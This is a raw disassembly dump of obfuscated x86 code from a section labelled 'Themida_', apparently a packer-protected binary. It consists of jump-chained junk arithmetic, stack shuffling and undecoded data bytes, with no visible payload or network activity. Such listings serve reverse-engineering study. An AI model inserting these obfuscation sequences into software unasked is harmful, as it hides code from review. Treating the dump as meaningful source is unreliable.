mov ebp, ecx
jmp loc_500570
; ---------------------------------------------------------------------------
db 0BFh
dd 409379B0h, 0C101C783h, 0E94F02E7h, 0C91h, 0C4757BDh
dd 0FFED8163h, 521C442Ch, 0E6517CBAh, 0BBABE93Bh, 8B5FFFFh
dd 8007E580h, 0EA30DFC5h, 8BD00059h, 7AE92414h, 0FFFFFFAAh
dd 0F1E92434h, 8BFFFFF4h, 42E9241Ch, 54000063h, 4C7815Fh
dd 55000000h, 4BDh, 5DEF0100h, 8B243C87h, 0C5812424h, 4
dd 429BE9h, 2C0D2C00h, 9AE95BFDh, 50FFFFDEh, 42474FFh
dd 24048F58h, 0F87FE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FC02E: ; CODE XREF: Themida_:004F9D0Cj
pop edi
push esi
push ebp
push ecx
jmp loc_4F80B2
; ---------------------------------------------------------------------------
db 52h
dd 0B1E906B6h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FC03F: ; CODE XREF: Themida_:004FA606j
push ebx
jmp loc_4FAD30
; ---------------------------------------------------------------------------
db 0E9h, 0C8h, 9Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FC04A: ; CODE XREF: Themida_:004FD221j
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
jmp loc_4F8E7D
; ---------------------------------------------------------------------------
db 81h, 0EFh, 35h
dd 29E25FA4h, 5353E9FBh, 0F2810000h, 0B891B7Dh, 3478E9h
dd 24348B00h, 8104C483h, 4C6h, 4BB5300h, 29000000h, 34875BDEh
dd 1C895C24h, 170BE924h, 0EC810000h, 4, 0FFEF0EE9h, 0B86650FFh
dd 356619C5h, 0D660052h, 2D666350h, 29664388h, 506658C3h
dd 0FFB975E9h, 81E789FFh, 4C7h, 2BB5300h, 81000000h, 2B678BC7h
dd 55DF014Ah, 2B4FC4BDh, 0E0E58114h, 811FC769h, 4D06F7F5h
dd 6EDC10Dh, 5EB7F581h, 0EF294A4Eh, 59A7E9h, 5FFE2900h
dd 1557F4BBh, 0FDBA5206h, 8174453Fh, 327796F2h, 0E90EE976h
dd 8B66FFFFh, 0E9562404h, 40ECh
; ---------------------------------------------------------------------------
loc_4FC124: ; CODE XREF: Themida_:004F724Fj
pop edi
push esi
jmp loc_4F9CE3
; ---------------------------------------------------------------------------
db 29h
dd 0C15F243Ch, 0E7C105E7h, 85C78104h, 217E03A3h, 0E3C15FFBh
dd 0C9E38108h, 0E97F8A16h, 0FFFFC9C0h, 515AD088h, 0F58086B5h
dd 59E828D8h, 0C2300F34h, 0C8EB8058h, 96C380h, 4A51E9D3h
dd 0C2810000h, 4, 1F89E9h, 0E9D7F700h, 0FFFFFAA6h, 4C281h
dd 0C2830000h, 0E0895004h, 405h, 42D00h, 4870000h, 14895C24h
dd 0B4F9E924h, 77FFFFFFh, 58669D1Ch, 9C240418h, 0FF9B65E9h
dd 0B85046FFh, 37F77D9Eh, 0E940E0D1h, 0FFFF9E8Ah, 8B243487h
dd 0F7662424h, 3E8AE9F9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FC1CA: ; CODE XREF: Themida_:00501F2Ej
mov edx, 4
add ecx, edx
jmp loc_501C09
; ---------------------------------------------------------------------------
dw 1489h
dd 80B3B224h, 0A4E97EF2h
db 3Eh, 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
mov esi, 4
jmp loc_4F74F6
; ---------------------------------------------------------------------------
loc_4FC1F1: ; CODE XREF: Themida_:004FEA3Ej
mov esi, 60DD450Eh
add eax, esi
pop esi
sub eax, 4F864D3Ah
or eax, 1D3537D4h
xor eax, 2B871273h
sub ecx, eax
pop eax
mov ebp, ecx
pop ecx
shl ebp, 1
xor ebp, 0FBA2A44h
and ebp, 5D2328A9h
push edx
mov edx, 0B453BA2h
sub ebp, edx
pop edx
jmp loc_4FEB04
; ---------------------------------------------------------------------------
dw 74FFh
dd 34FF0424h, 24048B24h, 4C91E9h, 24048B00h, 8104C483h
dd 54A242Ch, 2C81390Ah, 3716DF24h, 24040168h, 0DF240481h
dd 81683716h, 54A2404h, 0B951390Ah, 330121F8h, 4244C01h
dd 4EC8359h, 0BB241C89h, 1E015C1Dh, 0A5BE9h, 0C8B6600h
dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 54241C89h
dd 0FFA273E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FC299: ; CODE XREF: Themida_:00500CEDj
push esp
push dword ptr [esp]
mov esi, [esp]
jmp loc_4F7396
; ---------------------------------------------------------------------------
db 0F7h, 1Ch, 24h
dd 9A64E99Ch, 0C381FFFFh, 4, 4B850h, 0C3010000h, 241C8758h
dd 4C1815Ch, 83000000h, 0C8704C1h, 24248B24h, 0FF9A3DE9h
dd 240C8BFFh, 0E904C483h, 0FFFFDD94h, 0E9C32966h, 0E7Dh
; ---------------------------------------------------------------------------
loc_4FC2E8: ; CODE XREF: Themida_:004F5FD2j
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
push esi
mov esi, 248C1817h
push edi
mov edi, 1273B78h
or edi, 13F36481h
shl edi, 6
shr edi, 4
jmp loc_502589
; ---------------------------------------------------------------------------
loc_4FC311: ; CODE XREF: Themida_:004FB817j
push ecx
mov ecx, 4
jmp loc_4FA9A2
; ---------------------------------------------------------------------------
loc_4FC31C: ; CODE XREF: Themida_:004FDB13j
mov [edx], cl
mov edx, [esp]
add esp, 4
pop ecx
mov ebx, [esp]
push edx
jmp loc_500E10
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 3811E9h, 280E2C00h, 8B0E04E8h, 0C481240Ch, 4, 0DDC380h
dd 545151C3h, 5651E959h, 515C0000h, 0C181E189h, 4, 8704E983h
dd 43E9240Ch, 88000005h, 0A323E9C5h, 815AFFFFh, 31391DCAh
dd 38F0E913h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FC37E: ; CODE XREF: Themida_:004FB6DBj
mov esp, [esp]
push ebp
mov ebp, esp
push esi
mov esi, 59407D50h
sub esi, 59407D4Ch
add ebp, 473731CCh
add ebp, 266908EAh
add ebp, esi
sub ebp, 266908EAh
sub ebp, 473731CCh
mov esi, [esp]
jmp loc_4F5FCF
; ---------------------------------------------------------------------------
dw 1C89h
dd 89C38924h, 0F9E95BD9h
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FC3BF: ; CODE XREF: Themida_:004F6AB4j
push 1D75h
mov [esp], eax
mov eax, esp
jmp loc_4F72A8
; ---------------------------------------------------------------------------
loc_4FC3CE: ; CODE XREF: Themida_:004F6BD1j
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_4F8217
; ---------------------------------------------------------------------------
db 80h
dd 0EB28F6C3h, 0E9F6EB80h, 0FFFFC363h, 8104C483h, 4916DAEBh
dd 4EC8341h, 5542E9h
db 0
; ---------------------------------------------------------------------------
loc_4FC3FD: ; CODE XREF: Themida_:004F8EEDj
mov edx, 2C83F653h
add ecx, edx
pop edx
jmp loc_501740
; ---------------------------------------------------------------------------
dw 0D0F6h
dd 8058C388h, 0DBF6D8EBh, 0F607EBC0h, 5E3C0DBh, 0E901EB80h
dd 0FFFFE1AEh, 33240431h, 248B2404h, 0CFF6624h, 0DBE99C24h
dd 52FFFF98h, 4BAh, 24540100h, 0A7E95A04h
db 9Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FC447: ; CODE XREF: Themida_:004F8134j
add ebx, 4
xchg ebx, [esp]
pop esp
pop edi
push 2F1Ch
mov [esp], esi
push 737Fh
mov [esp], ebp
push 79020664h
jmp loc_4F8BD2
; ---------------------------------------------------------------------------
aZwuh5zSB db 'ZWUh5z½|]é{B',0
align 2
dw 895Ch
dd 0E589242Ch, 0DEA6E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FC486: ; CODE XREF: Themida_:004FA38Fj
push edi
mov edi, 4
add eax, edi
jmp loc_4FCD74
; ---------------------------------------------------------------------------
db 0B5h
dd 0F6EDD0F4h, 0E54EE9D5h, 8B66FFFFh, 0EC81240Ch, 4, 68243489h
dd 3936h, 83242489h, 0FF042404h, 348B2434h, 61DBE924h
dd 75680000h, 89000037h, 81502414h, 59B22434h, 148B1C39h
dd 4EC8124h, 89000000h, 0E789243Ch, 5D21BE56h, 0E9553521h
dd 5707h, 4B850h, 0C3010000h, 89535258h, 2CA2E9E3h, 2C8B0000h
dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 0FFB11BE9h
dd 0B1E957FFh, 51FFFFE7h, 148ACB9h, 327DE945h, 515E0000h
dd 24A6B850h, 0EF055D19h, 2D571518h, 2AD0428Fh, 80952E2Dh
dd 58C1890Ch, 1AE9CF09h, 68000058h, 3509h, 0FFFE5DE9h
dd 0E95358FFh, 0FFFFDC2Bh, 24048F5Ah, 0D324248Bh, 0E99C2424h
dd 0FFFF97A6h
; ---------------------------------------------------------------------------
loc_4FC56C: ; CODE XREF: Themida_:004F64FCj
xor esi, 6C0C5EE2h
jmp loc_4FB0A1
; ---------------------------------------------------------------------------
db 0F6h
dd 0A6F480D4h, 3499E9h
db 0
; ---------------------------------------------------------------------------
loc_4FC581: ; CODE XREF: Themida_:004FED75j
neg eax
or eax, 41E945DBh
jmp loc_4FEA3D
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 990BE924h, 0EA81FFFFh, 37A99D69h, 565AD329h, 0E562A1BEh
dd 5EF20109h, 705FBE56h, 0F2296215h, 8324348Bh, 60E904C4h
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FC5BB: ; CODE XREF: Themida_:004FA600j
add esi, ebx
pop ebx
xchg esi, [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push ebp
push ecx
mov ecx, 78046A95h
sub ecx, 31B03DEAh
jmp loc_4FD652
; ---------------------------------------------------------------------------
dw 77FFh
dd 58669D1Ch, 9C240410h, 0FF9729E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FC5E9: ; CODE XREF: Themida_:004FB459j
mov bh, dl
mov [edi+eax*4], bh
mov ebx, [esp]
sub esp, 4
mov [esp], esi
jmp loc_4F8F07
; ---------------------------------------------------------------------------
db 5
dd 1F7752F2h, 84E9C829h, 8100003Ah, 0F805C6C3h, 81D30109h
dd 0F805C6EBh, 2F58E909h, 814D0000h, 166F8BEDh, 881E93Dh
dd 0BD550000h, 4FC102D2h, 4246C31h, 1576E9h, 0C09FB100h
dd 0AFE908E1h, 31FFFFE1h, 0BD51E9EEh, 0E280FFFFh, 0A0F280FEh
dd 5AD328h, 55FE9D8h, 74FF0000h, 78E90424h, 83FFFFAEh
dd 0B95104C4h, 4, 5359CB01h, 42474FFh, 81241C8Bh, 4C4h
dd 59E4E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FC682: ; CODE XREF: Themida_:004FB1C2j
xor ebx, 0C1DCAA21h
add eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
or eax, eax
jnz loc_4F9459
push 1
push dword ptr [esp]
jmp loc_4FA605
; ---------------------------------------------------------------------------
db 25h, 10h, 61h
dd 0CF351836h, 0E9624A5Dh, 4742h, 42474FFh, 24048F5Dh
dd 6624248Bh, 5724048Bh, 0F4685F54h, 89000008h, 68572434h
dd 4A631C6Eh, 0FF96E5E9h, 5FFD89FFh, 13C5815Ah, 81BD34E9h
dd 852C0EAh, 81EA0102h, 852C0C2h, 0EAE95D02h, 81000010h
dd 4C4h, 4C48300h, 4EE81h, 34870000h, 0C895C24h, 0DF7BE924h
dd 5F54FFFFh, 4C781h, 0E9530000h, 0FFFFCC86h, 4C2815Ah
dd 83000000h, 0D1E904ECh
db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FC733: ; CODE XREF: Themida_:004FF67Ej
mov [esp], edi
mov edi, esp
push ecx
push 4
pop ecx
add edi, ecx
pop ecx
add edi, 4
xchg edi, [esp]
pop esp
push edx
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_4F7F8B
; ---------------------------------------------------------------------------
db 81h, 0CDh, 0DFh
dd 0E95A9C1Ch, 4EBEh, 56E9C621h, 0ACFFFFBDh, 6BF068h, 24148900h
dd 0D0002BB2h, 8B2434FFh, 35E92414h
db 3Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FC78B: ; CODE XREF: Themida_:0050175Fj
mov ecx, ebp
jmp loc_4FBCA1
; ---------------------------------------------------------------------------
loc_4FC792: ; CODE XREF: Themida_:004FD980j
add eax, ebp
jmp loc_4F86EC
; ---------------------------------------------------------------------------
loc_4FC799: ; CODE XREF: Themida_:004FB50Cj
mov eax, 1CE219A5h
and esi, eax
pop eax
push ebp
mov ebp, 1
jmp loc_4FE04C
; ---------------------------------------------------------------------------
dd 305BDA00h, 98C2E9D3h, 2CACFFFFh, 2C2604F0h, 52D82834h
dd 5166B3B6h, 0EE00A8B5h, 0DAE95966h, 0B8FFFFC0h, 4, 8158C701h
dd 4C7h, 74FF5700h, 3C8B0424h, 205EE924h, 0EE810000h, 0D6630640h
dd 485EF009h, 0E9FE8796h, 4646h
; ---------------------------------------------------------------------------
loc_4FC7FC: ; CODE XREF: Themida_:004F99EDj
add ebx, 0FFBCEFEBh
add esi, ebx
mov ebx, [esp]
add esp, 4
xchg esi, [esp]
jmp loc_4F651C
; ---------------------------------------------------------------------------
dw 0CB29h
dd 83240C8Bh, 0DBF704C4h, 41B95156h, 8907C66Fh, 240C8BCEh
dd 0FF9C0FE9h, 0E08950FFh, 405h, 4C08300h, 8B240487h, 0D3E92424h
dd 66000018h, 66243431h, 66243433h, 66243431h, 2477E956h
dd 952D0000h, 53034D52h, 0C381E389h, 4, 4EB81h, 1C870000h
dd 3C895C24h, 81E78924h, 4C7h, 4EF8100h, 87000000h, 0E95C243Ch
dd 4E40h, 240C8B66h, 77868h, 243C8900h, 81E28952h, 4C2h
dd 4EA8100h, 0E9000000h, 0FFFFA358h, 4DE8E95Eh, 895C0000h
dd 55E9240Ch, 88000018h, 0D7E95808h, 66FFFFEEh, 0F8E9F531h
db 59h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FC8C7: ; CODE XREF: Themida_:004F693Cj
xchg eax, [esp]
mov esp, [esp]
jmp loc_4F8ADE
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 0E92434FFh, 0FFFFC3ABh, 54241C89h, 64EE9h
dd 84E98100h, 1DB840Fh, 0EA8159CAh, 4, 5C241487h, 81242489h
dd 42404h, 3C8B0000h, 4C48324h, 4C781h, 52550000h, 3168ACBAh
dd 1ECA816Bh, 0E9472B47h, 0FFFF94B9h, 86B93B8h, 0E9C6014Fh
dd 1EF5h, 95FF821h, 0D8840FC0h, 83FFFFAAh, 48904ECh, 0E685524h
dd 5D06196Ch, 1679B951h, 0CD016E47h, 81240C8Bh, 4C4h, 53525600h
dd 0FF9CA1E9h, 0BD5556FFh, 16EC7643h, 525DEE89h, 9A4291BAh
dd 2EAC118h, 7BBDE281h, 814A5FE2h, 0FC1E5BEAh, 8EAC133h
dd 0B1CEEA81h, 0D189B46Fh, 0EF9CE95Ah, 0E959FFFFh, 516Dh
dd 8B24048Fh, 8C682424h, 0E9000040h, 0FFFFE2C3h, 0E924248Bh
dd 0FFFFD409h
; ---------------------------------------------------------------------------
loc_4FC9B0: ; CODE XREF: Themida_:004F7B58j
sub [esp+4], edi
pop edi
sub dword ptr [esp], 634F64AFh
push ecx
push esi
push edx
mov edx, 0DFB42B8h
inc edx
jmp loc_50009F
; ---------------------------------------------------------------------------
loc_4FC9CA: ; CODE XREF: Themida_:004FA99Dj
pop esp
jmp loc_4F8E14
; ---------------------------------------------------------------------------
dd 0B47DA7BFh, 0CA75BE55h, 0FE2959A2h, 0FFADD1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FC9E1: ; CODE XREF: Themida_:004FA1C4j
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
add esp, 4
jmp loc_4F8982
; ---------------------------------------------------------------------------
dw 8B66h
dd 68532404h, 56EFh, 50242489h, 488E9h, 0C8B25200h, 0FE04E2C0h
dd 2E2C0CAh, 0E9D6C280h, 0FFFFF076h, 0E959CA29h, 446Ah
; ---------------------------------------------------------------------------
loc_4FCA24: ; CODE XREF: Themida_:004F932Bj
or ecx, 3C340848h
add ecx, 0B65B8FDAh
xor esi, ecx
pop ecx
xor ebx, esi
pop esi
add ebp, ebx
pop ebx
push esi
push eax
jmp loc_500D87
; ---------------------------------------------------------------------------
dd 24348966h, 4EC81h, 0CBE90000h
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FCA4F: ; CODE XREF: Themida_:004F6C0Ej
not ebx
jmp loc_4F74E4
; ---------------------------------------------------------------------------
loc_4FCA56: ; CODE XREF: Themida_:004FCDC2j
add ebp, 2DB45A28h
pop eax
add ebp, 4
xchg ebp, [esp]
pop esp
push ebx
jmp loc_4F819D
; ---------------------------------------------------------------------------
loc_4FCA6A: ; CODE XREF: Themida_:00500BEFj
xor eax, ebp
pop ebp
shl eax, 3
jmp loc_4F6FE4
; ---------------------------------------------------------------------------
loc_4FCA75: ; CODE XREF: Themida_:004FAED6j
sub edi, 0F4082B8Bh
sub esi, edi
pop edi
jmp loc_4F997A
; ---------------------------------------------------------------------------
db 66h
dd 414BEB81h, 0E8AE9h, 42F76800h, 49E90000h
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FCA97: ; CODE XREF: Themida_:004F9E5Aj
push ecx
mov ecx, 2
sub ebx, 1C4299h
sub ebx, ecx
add ebx, 1C4299h
jmp loc_500762
; ---------------------------------------------------------------------------
loc_4FCAB0: ; CODE XREF: Themida_:004F7225j
push esp
jmp loc_5009F5
; ---------------------------------------------------------------------------
dw 0ED80h
dd 80E500B7h, 0C580B7C5h, 30E95819h, 51FFFF98h, 0FFFE94E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FCACD: ; CODE XREF: Themida_:00500EADj
pop esi
xor esi, 18A948A1h
mov eax, esi
pop esi
sub ebx, 70022E9h
add ebx, eax
push edi
mov edi, 523D1172h
xor edi, 6240592Ah
sub edi, 530D6638h
add edi, 47311F33h
jmp loc_4FD0D5
; ---------------------------------------------------------------------------
dd 0E924048Fh, 0FFFFC39Ch, 585450ACh, 0FFE503E9h, 0E9C201FFh
dd 0FFFF927Ah, 240C8B66h, 8904EC83h, 0F3E9243Ch
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FCB23: ; CODE XREF: Themida_:004F9BD3j
mov [esp], eax
xchg edi, [esp]
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 63C609D5h
sub ecx, 63C609D1h
sub edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_4F9A4C
; ---------------------------------------------------------------------------
db 5Dh
dd 4EC815Dh, 89000000h, 468241Ch, 5B000000h, 1C8BDD01h
dd 4C48124h, 83000000h, 2C8704C5h, 0CFF5C24h, 9BE99C24h
dd 81FFFF91h, 4EBh, 74FF5300h, 0F5E90424h, 89FFFFE2h, 24048BC3h
dd 4C481h, 0DE090000h, 4698E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FCB9A: ; CODE XREF: Themida_:004FB5CCj
mov esi, ebx
jmp loc_4FF6C7
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 22A2E9h
db 0
; ---------------------------------------------------------------------------
loc_4FCBA9: ; CODE XREF: Themida_:004F641Dj
add eax, 4
jmp loc_4FF63D
; ---------------------------------------------------------------------------
db 51h
dd 0FFF8DAE9h, 0DE685BFFh, 0E9000047h, 0FFFF95BFh
; ---------------------------------------------------------------------------
loc_4FCBC4: ; CODE XREF: Themida_:0050221Ej
sub esp, 4
jmp loc_4FF87F
; ---------------------------------------------------------------------------
db 0C1h
dd 0B95108E0h, 536819F6h, 0FFD00BE9h, 5BDE01FFh, 24348758h
dd 2424895Ch, 372DE950h, 0C4810000h, 4, 2AF168h, 240C8900h
dd 8D17C5B9h, 3E1C178h, 1E981h, 0C9810000h, 64AF0A19h
dd 8E1CF181h, 0CB29A93Dh, 0E92434FFh, 25C6h, 0EE81C601h
dd 4AC259C4h, 5AC268h, 243C8900h, 43A3E9h
db 0
; ---------------------------------------------------------------------------
loc_4FCC35: ; CODE XREF: Themida_:004FA29Bj
add esp, 4
jmp loc_4F5D12
; ---------------------------------------------------------------------------
dd 592434FFh, 4B62E9h, 1FCF8100h, 81224B58h, 0B00125C7h
dd 5FF801DDh, 5C240487h, 0E92424D3h, 38C7h, 0D1E9D021h
dd 4FFFFE4h, 4446E96Fh, 575E0000h, 52E9E789h
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FCC7B: ; CODE XREF: Themida_:004FD520j
pop eax
mov dl, bh
pop ebx
push 1E98h
mov [esp], eax
mov al, 25h
or dl, al
pop eax
shl dl, 1
add dl, 7Eh
add dl, 9Bh
sub al, 0A2h
add al, dl
jmp loc_501491
; ---------------------------------------------------------------------------
db 57h, 68h, 55h
dd 5F5E8A09h, 8108EFC1h, 0E634B9F7h, 0FCF8123h, 0F75EDE35h
dd 0F5EF81D7h, 8168F351h, 5E731BC7h, 5FF8010Fh, 34B6E9h
dd 0A4C18000h, 0E9C8285Bh, 0FFFFDB48h, 4245C01h, 0E92434FFh
dd 0FFFFDDD1h, 815DEE29h, 0D8A9D3F6h, 3842C710h, 9D2DE7F4h
dd 0FF387201h, 0E95E2434h, 5F7h, 53FBEF81h, 0EEE93CE1h
dd 81FFFFF1h, 7FF344C6h, 5EF1017Dh, 4C181h, 0FF510000h
dd 0E9042474h, 0FFFFE87Dh, 81E78957h, 4C7h, 4EF8100h, 87000000h
dd 0E95C243Ch, 491Ch, 231AE981h, 0E6E92414h, 66FFFFC0h
dd 5024048Bh, 405E089h, 83000000h, 48704E8h, 4895C24h
dd 0E9E08924h, 2148h, 48B665Ch, 0E9565224h, 0FFFFB7CEh
dd 0E985F680h, 0FFFF978Dh
; ---------------------------------------------------------------------------
loc_4FCD74: ; CODE XREF: Themida_:004FC48Ej
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_4F5D12
; ---------------------------------------------------------------------------
dw 0C33h
dd 240C3124h, 5C240C33h, 55E28952h, 4BDh, 5DEA0100h, 4BB53h
dd 0DA010000h, 2414875Bh, 40BA525Ch, 81000000h, 0E76F8EC2h
dd 0E9FA017Bh, 241h
; ---------------------------------------------------------------------------
loc_4FCDBC: ; CODE XREF: Themida_:004FE9C0j
add ebp, 39E81A4Bh
jmp loc_4FCA56
; ---------------------------------------------------------------------------
db 81h
dd 0CD50EDF5h, 0E9ED81E8h, 8127A523h, 1D0806F5h, 5DEF01E6h
dd 8B243C87h, 0F7662424h, 0CA6866E9h, 14896624h, 9C506624h
dd 0FFF250E9h, 0E9028FFFh, 0FFFF8F16h, 352A6866h, 3442E9h
db 0
; ---------------------------------------------------------------------------
loc_4FCE05: ; CODE XREF: Themida_:004F97EAj
pop ecx
pop edx
and eax, ebp
pop ebp
or eax, eax
jz loc_4FB390
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
push edi
mov edi, esp
push esi
mov esi, 4
sub edi, 531C7D2Ch
push ecx
mov ecx, 2EA3286Bh
jmp loc_4F70CD
; ---------------------------------------------------------------------------
db 0BDh, 0DBh, 5Bh
dd 0DDF75506h, 2C14ED81h, 0C5811DAFh, 8DADB693h, 0E95DEA29h
dd 0FFFFFCBDh, 414868h, 0B0D6E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FCE5A: ; CODE XREF: Themida_:004F6F2Ej
mov [esp], ecx
mov ecx, 1C214D5h
add eax, 5DE06D24h
add eax, ecx
sub eax, 5DE06D24h
jmp loc_4F649A
; ---------------------------------------------------------------------------
loc_4FCE73: ; CODE XREF: Themida_:004FF1E1j
mov edi, ebx
pop ebx
not edi
xor edi, 9AA2AE4h
and edi, 573B02BDh
jmp loc_4FF374
; ---------------------------------------------------------------------------
db 0FFh, 77h, 40h
dd 0FFA500E9h, 4B8FFh, 0AE90000h, 1000031h, 58BB05F8h
dd 3C8B3E31h, 32E95624h, 81FFFF97h, 0BE020DC5h, 85E5810Ch
dd 811A1B4Dh, 903B74EDh, 5DE829C1h, 0E9241C8Bh, 22ABh
dd 0F60DB450h, 38F480DCh, 0F626C480h, 87F480DCh, 0E958E188h
dd 492Fh
; ---------------------------------------------------------------------------
loc_4FCEE0: ; CODE XREF: Themida_:004FE0CEj
push dword ptr [esp+4]
mov ebp, [esp]
jmp loc_4F6987
; ---------------------------------------------------------------------------
loc_4FCEEC: ; CODE XREF: Themida_:004FA0E0j
mov edx, [esp]
add esp, 4
add ebx, edi
mov [ebx], edx
mov ebx, [esp]
add esp, 4
jmp loc_4F7F69
; ---------------------------------------------------------------------------
loc_4FCF01: ; CODE XREF: Themida_:004F70BAj
and ecx, 69371AD8h
push 3BAFh
jmp loc_4FADF1
; ---------------------------------------------------------------------------
loc_4FCF11: ; CODE XREF: Themida_:004F6402j
mov edx, 75126C45h
xor [esp+4], edx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop ecx
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, 17790DFDh
jmp loc_4F8954
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483241Ch, 4EC8304h, 5609E9h, 5B6600h, 796859E8h, 89000052h
dd 0EFB22414h, 4EC81h, 86E90000h, 89FFFFD1h, 4C681E6h
dd 0E9000000h, 45E9h, 0FA30D9B2h, 0EEB4505Bh, 0FFAF1AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FCF79: ; CODE XREF: Themida_:004FB0E5j
xor ebp, [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_4F92D2
; ---------------------------------------------------------------------------
dd 0E92434FFh, 5202h
; ---------------------------------------------------------------------------
loc_4FCF90: ; CODE XREF: Themida_:00501A7Fj
pop esi
add esp, 4
and eax, edi
pop edi
or eax, eax
jz loc_4F9459
push dword ptr [edi+28h]
mov eax, [esp]
jmp loc_500A2A
; ---------------------------------------------------------------------------
dw 6866h
dd 68665925h, 54667E25h, 24048F66h, 37E95566h
db 9, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FCFBF: ; CODE XREF: Themida_:004FDC94j
push ecx
push ebp
push 2163BF2h
pop ebp
xor ebp, 4EA7697Eh
xor ebp, 4CB15288h
mov ecx, ebp
pop ebp
sub esi, 27EF24B3h
add esi, ecx
add esi, 27EF24B3h
pop ecx
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
jmp loc_4FA8DA
; ---------------------------------------------------------------------------
loc_4FCFF3: ; CODE XREF: Themida_:004F85E2j
mov ebx, 4
jmp loc_4F76A9
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0E9240489h, 15B5h, 5724048Fh, 4BFh, 246C8100h, 745E9404h
dd 247C011Fh, 24448104h, 745E9404h, 505B5F1Fh, 0BB22DDB8h
dd 0E9D0F779h, 0FFFFB804h, 0BA686659h, 14896670h, 0B2525124h
dd 0D48850B8h, 48BE588h, 4C48124h, 8B000000h, 0A3E92414h
db 41h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FD057: ; CODE XREF: Themida_:004FACE1j
pop ecx
mov edi, [esp]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
jmp loc_4FE29C
; ---------------------------------------------------------------------------
aB3WNsuSs db 'ê}3>!W¿nsU&éS',0Dh,0
align 10h
dd 5B2414F7h, 7A9BE381h, 814B0C16h, 0B82BADE3h, 0B3F3811Eh
dd 0E95E3D2Ch, 0FFFFBC46h, 0AA392D48h, 0D1E97FB4h, 81FFFFC9h
dd 6A70DCEDh, 0BF575E30h, 4, 29E9FD01h
db 95h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FD0BB: ; CODE XREF: Themida_:004FFF98j
push 433F3607h
mov edx, [esp]
jmp loc_4FA752
; ---------------------------------------------------------------------------
loc_4FD0C8: ; CODE XREF: Themida_:004FB68Fj
push 847h
mov [esp], eax
jmp loc_4FDBDC
; ---------------------------------------------------------------------------
loc_4FD0D5: ; CODE XREF: Themida_:004FCAF7j
add edi, 0E25F2196h
add ebx, edi
pop edi
mov eax, [esp]
add esp, 4
xor ebx, 52AE1B2Eh
add ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5005FF
; ---------------------------------------------------------------------------
db 29h, 0D0h, 0E9h
dd 0FFFFD1F5h, 0EF81DFF7h, 86549D36h, 0FFB54FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FD111: ; CODE XREF: Themida_:004F8B31j
xor edx, [esp]
mov esp, [esp]
shr eax, 18h
xor eax, ecx
xor eax, ecx
xor ecx, eax
xor eax, ecx
push 2C17h
mov [esp], ecx
xchg ebx, [esp]
push 463Ah
jmp loc_500AB3
; ---------------------------------------------------------------------------
db 1
dd 5904244Ch, 5324148Bh, 0C381E389h, 4, 0FF9040E9h, 0F2814AFFh
dd 57CD1A11h, 36F5F281h, 0B9516B49h, 0C8686839h, 0FFF8B7E9h
dd 48B66FFh, 2C48324h, 84E95666h, 8B00001Bh, 0C483242Ch
dd 55BE5604h, 296F8300h, 0EF815EF7h, 25490E34h, 0AE9C701h
dd 29000036h, 0F75F243Ch, 67F781D7h, 0E9715A0Eh, 0FFFFCC24h
; ---------------------------------------------------------------------------
loc_4FD1A0: ; CODE XREF: Themida_:0050197Bj
add dl, 12h
xor dl, cl
xor cl, dl
xor dl, cl
not cl
